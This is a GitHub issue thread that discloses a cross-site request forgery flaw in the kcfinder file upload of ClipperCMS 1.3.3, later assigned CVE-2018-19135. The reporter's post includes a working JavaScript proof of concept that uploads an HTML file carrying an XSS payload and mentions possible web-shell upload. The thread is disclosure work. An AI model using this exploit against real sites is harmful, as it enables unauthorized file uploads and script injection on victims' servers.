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ClipperCMS 1.3.3 File Upload CSRF Vulnerability #494

ameerpornillos opened this Issue Nov 10, 2018 · 3 comments


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ameerpornillos commented Nov 10, 2018


This is regarding the ClipperCMS 1.3.3 File Upload CSRF Vulnerability that I already reported by sending a direct email last August 27, 2018 regarding this issue and followed up on September 4, 2018 and September 10, 2018 but haven't received any reply.

ClipperCMS 1.3.3 does not have CSRF protection on its kcfinder file upload which is being used by default. This can be used by an attacker to perform actions for an admin (or any user with file upload capability). With this vulnerability, it can automatically upload file/s (by default it allows aac,au,avi,css,cache,doc,docx,gz,gzip,htm,html,js,mp3,mp4,mpeg,mpg,ods,odp,odt,pdf,ppt,pptx,rar,tar,tgz,txt,wav,wmv,xls,xlsx,xml,z,zip as file types). Note that web shell that can be used for remote code execution can be achieved depending on the file types being accepted. Uploaded file can be accessed publicly on the "/assets/files" directory (e.g. uploaded a malicious html file with filename: poc.html file => http://clipperwebsite/clipper/assets/files/poc.html). This can lead for the website to be host unintended file/s.

Steps to reproduce:

Admin (or user with file upload capability) logged in ClipperCMS 1.3.3 -> browse/open a controlled website with the poc below (e.g. by link or open PoC below in a browser where admin/user logged in to ClipperCMS 1.3.3) -> file is uploaded and can be accessed on http://clipperwebsite/clipper/assets/files/poc.html (where poc.html is the filename of the uploaded file)

Proof of Concept:

PoC below will automatically upload a "poc.html" file with simple XSS payload. Steps above are how to make use of the PoC.

  <!-- CSRF Auto Upload File ClipperCMS PoC -->
        var xhr = new XMLHttpRequest();"POST", "http:\/\/clipperwebsite\/clipper\/manager\/media\/browser\/kcfinder\/browse.php?type=files&lng=en&act=upload", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------167248871811044278431417596280");
        xhr.withCredentials = true;
        var body = "-----------------------------167248871811044278431417596280\r\n" +
          "Content-Disposition: form-data; name=\"upload[]\"; filename=\"poc.html\"\r\n" +
          "Content-Type: text/html\r\n" +
          "\r\n" +
          "\x3cscript\x3ealert(\'XSS\')\x3c/script\x3e\n" +
          "\r\n" +
          "-----------------------------167248871811044278431417596280\r\n" +
          "Content-Disposition: form-data; name=\"dir\"\r\n" +
          "\r\n" +
          "files\r\n" +
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));

Actual video demo of the ClipperCMS 1.3.3 file upload CSRF vulnerability being exploited:



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TimGS commented Nov 10, 2018

I'm not sure if anyone is receiving emails on the ClipperCMS email address anymore - I don't know but I suspect not.

Admin (or user with file upload capability) logged in...

Is this reproducible without being logged in?


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ameerpornillos commented Nov 11, 2018

Hi TimGS, admin (or user with file upload capability) should be logged in order for attack to work and is not reproducible without being logged in. Thanks by the way for the comment.


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fgeek commented Nov 12, 2018

CVE-2018-19135 has been assigned for this vulnerability.

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